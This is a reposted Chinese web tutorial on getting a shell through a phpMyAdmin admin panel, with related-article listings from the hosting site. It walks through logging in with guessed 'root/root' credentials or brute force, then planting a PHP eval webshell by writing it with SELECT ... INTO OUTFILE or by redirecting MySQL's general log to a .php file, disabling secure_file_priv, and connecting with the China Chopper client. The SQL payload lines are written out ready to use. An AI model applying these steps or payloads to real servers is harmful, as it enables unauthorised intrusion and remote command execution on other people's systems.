iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PhpMyAdmin后台getshell的示例分析
  • 714
分享到

PhpMyAdmin后台getshell的示例分析

2024-04-02 19:04:59 714人浏览 薄情痞子
摘要

这篇文章主要介绍了PHPMyAdmin后台getshell的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。phpMyAdmin简介P

这篇文章主要介绍了PHPMyAdmin后台getshell的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

phpMyAdmin简介

PhpMyAdmin 是一个以PHP为基础,以WEB-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理Mysql数据库。借由此Web接口可以成为一个简易方式输入繁杂sql语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
PhpMyAdmin后台getshell的示例分析
在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录(可试下:Http://ip:端口/phpmyadmin/ )时,进而通过弱口令(可以直接尝试下账号root密码root)或者暴力破解进入管理后台之后,有多种方法进行getshell。
PhpMyAdmin后台getshell的示例分析

into outfile导出木马

想在网站内部插入木马,前提是你得知道网站的绝对路径,方法也有很多,比如通过报错获取路径,通过phpinfo.php等等(可参考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。

最方便的是用select @@basedir;直接查(但有时没法查出来,只能另寻它法):
PhpMyAdmin后台getshell的示例分析

根据上面的反馈,我们可以看到 mysql 的位置在 D:\soft\phpStudy\MySQL\目录下。

获得网站路径后就可以企图上传木马了,最常用的是通过into outfile在网站根目录上直接写入一句话木马:

select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';

但在新版的mysql中,这句话并没有运行成功。
PhpMyAdmin后台getshell的示例分析
Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数:
PhpMyAdmin后台getshell的示例分析
secure_file_priv为NULL时,表示限制Mysql不允许导入导出,所以爆出错误。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv ="" 即可:
PhpMyAdmin后台getshell的示例分析
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,此时就可以执行导出命令。

利用Mysql日志文件

Mysql 5.0版本以上会创建日志文件,通过修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。(注:linux因为权限问题亲测没有成功)。先来介绍两个MySQL全局变量:general_loggeneral_log file

  1. general log 指的是日志保存状态,ON代表开启 OFF代表关闭;

  2. general log file 指的是日志的保存路径。

查看日志状态的命令:show variables like '%general%';
PhpMyAdmin后台getshell的示例分析
在以上配置中,当开启general时,所执行的sql语句都会出现在WIN-30DFNC8L78A.log文件

那么,如果修改general_log_file的值,那么所执行的sql语句就会对应生成,进而getshell。
PhpMyAdmin后台getshell的示例分析PhpMyAdmin后台getshell的示例分析
对应就会生成xxx.php文件
PhpMyAdmin后台getshell的示例分析
将一句话木马写入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
PhpMyAdmin后台getshell的示例分析
接着可以看到日志文件中记录了木马语句:
PhpMyAdmin后台getshell的示例分析最后中国菜刀连接,getshell:
PhpMyAdmin后台getshell的示例分析

感谢你能够认真阅读完这篇文章,希望小编分享的“PhpMyAdmin后台getshell的示例分析”这篇文章对大家有帮助,同时也希望大家多多支持编程网,关注编程网PHP编程频道,更多相关知识等着你来学习!

--结束END--

本文标题: PhpMyAdmin后台getshell的示例分析

本文链接: https://www.lsjlt.com/news/56046.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PhpMyAdmin后台getshell的示例分析
    这篇文章主要介绍了PhpMyAdmin后台getshell的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。PhpMyAdmin简介P...
    99+
    2024-04-02
  • typecho前台GETSHELL分析预警的案例
    这篇文章主要介绍了typecho前台GETSHELL分析预警的案例,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。0x01 漏洞描述install.php一处if`判...
    99+
    2023-06-19
  • 使用phpmyadmin修改织梦后台密码的示例
    这篇文章给大家分享的是有关使用phpmyadmin修改织梦后台密码的示例的内容。小编觉得挺实用的,因此分享给大家做个参考。一起跟随小编过来看看吧。在本地打开PHPMYADMIN,输入用户名和密码,登录PHP...
    99+
    2024-04-02
  • Vue后台管理系统开发的示例分析
    这篇文章给大家分享的是有关Vue后台管理系统开发的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。在后台管理系统的日常开发过程中发现对于同一个业务下面的版块不同的开发同事每...
    99+
    2024-04-02
  • SpringMVC传日期参数到后台的示例分析
    小编给大家分享一下SpringMVC传日期参数到后台的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、注解方式,在controller层通过initBi...
    99+
    2023-05-30
    springmvc
  • vue模拟后台数据调试的示例分析
    这篇文章给大家分享的是有关vue模拟后台数据调试的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。首先创建一个本地json文件,放在项目中如下{  "r...
    99+
    2024-04-02
  • 微信小程序中后台登录的示例分析
    这篇文章主要介绍微信小程序中后台登录的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!微信小程序 后台登录实现效果图:最近写了一个工具类的小程序,按需求要求不要微信提供的微信账...
    99+
    2024-04-02
  • jquery中dataTable后台加载数据并分页的示例分析
    这篇文章主要为大家展示了“jquery中dataTable后台加载数据并分页的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“jquery中dataTab...
    99+
    2024-04-02
  • ajax提交到java后台之后处理数据的示例分析
    这篇文章给大家分享的是有关ajax提交到java后台之后处理数据的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。环境:eclipse+struts要实现的效果:点击按钮提...
    99+
    2024-04-02
  • Linux+Apache+PHP+MySQL+Zend Optimizer+PHPMyAdmin的示例分析
    这篇文章主要介绍Linux+Apache+PHP+MySQL+Zend Optimizer+PHPMyAdmin的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!一、前言发现本版中很多用户的问题都是关于空间搭建...
    99+
    2023-06-13
  • PHPmyadmin漏洞以及拿shell的示例分析
    小编给大家分享一下PHPmyadmin漏洞以及拿shell的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!phpmyad...
    99+
    2024-04-02
  • ajax接收后台数据在html页面显示的示例分析
    这篇文章主要为大家展示了“ajax接收后台数据在html页面显示的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“ajax接收后台数据在html页面显示的...
    99+
    2024-04-02
  • jsp到servlet后台服务通信过程的示例分析
    这篇文章主要介绍了jsp到servlet后台服务通信过程的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。web.xml 文件对于任何一个web 运用来说,有,而且只能...
    99+
    2023-06-02
  • vue后台管理系统权限控制的示例分析
    这篇文章主要介绍vue后台管理系统权限控制的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!权限控制需求因为是单页面应用,路由交给前端来控制,对于一些需要特定权限才能查看的信息...
    99+
    2024-04-02
  • Linux前后台任务实例分析
    这篇文章主要讲解了“Linux前后台任务实例分析”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Linux前后台任务实例分析”吧!对于任务的管理,我们一般有如下几个需求:将进程切换到前台将进程...
    99+
    2023-06-28
  • vue中element table表格请求后台排序的示例分析
    这篇文章主要介绍了vue中element table表格请求后台排序的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。1、Elemen...
    99+
    2024-04-02
  • vue前后台数据交互vue-resource文档的示例分析
    这篇文章给大家分享的是有关vue前后台数据交互vue-resource文档的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。Vue可以构建一个完全不依赖后端服务的应用,同时...
    99+
    2024-04-02
  • jsonp格式前端发送和后台接收的示例分析
    这篇文章主要介绍了jsonp格式前端发送和后台接收的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。什么是JSONP?先说说JSONP...
    99+
    2024-04-02
  • Vue中后台管理类项目兼容IE9+的示例分析
    小编给大家分享一下Vue中后台管理类项目兼容IE9+的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!目前后台管理系统前端...
    99+
    2024-04-02
  • vue后台管理添加多语言功能的示例分析
    这篇文章主要介绍了vue后台管理添加多语言功能的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。为什么要使用VueVue是一款友好的、多用途且高性能的JavaScrip...
    99+
    2023-06-14
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作